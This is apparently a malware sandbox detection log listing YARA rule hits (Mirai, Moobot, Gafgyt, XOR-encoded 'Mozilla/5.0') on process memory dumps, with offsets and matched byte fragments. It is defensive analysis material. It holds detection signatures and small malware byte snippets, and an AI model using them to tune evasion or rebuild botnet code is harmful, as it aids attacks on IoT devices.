6870.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6870.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6465.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6465.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6465.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6465.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6465.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6465.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7067.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6796.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6308.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6280.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6280.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6280.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6280.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6280.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6280.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7291.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7291.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7291.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7291.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7291.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7291.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7073.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7043.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7043.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7043.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7043.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7043.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7043.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6423.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6423.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6423.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6423.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6423.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6423.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
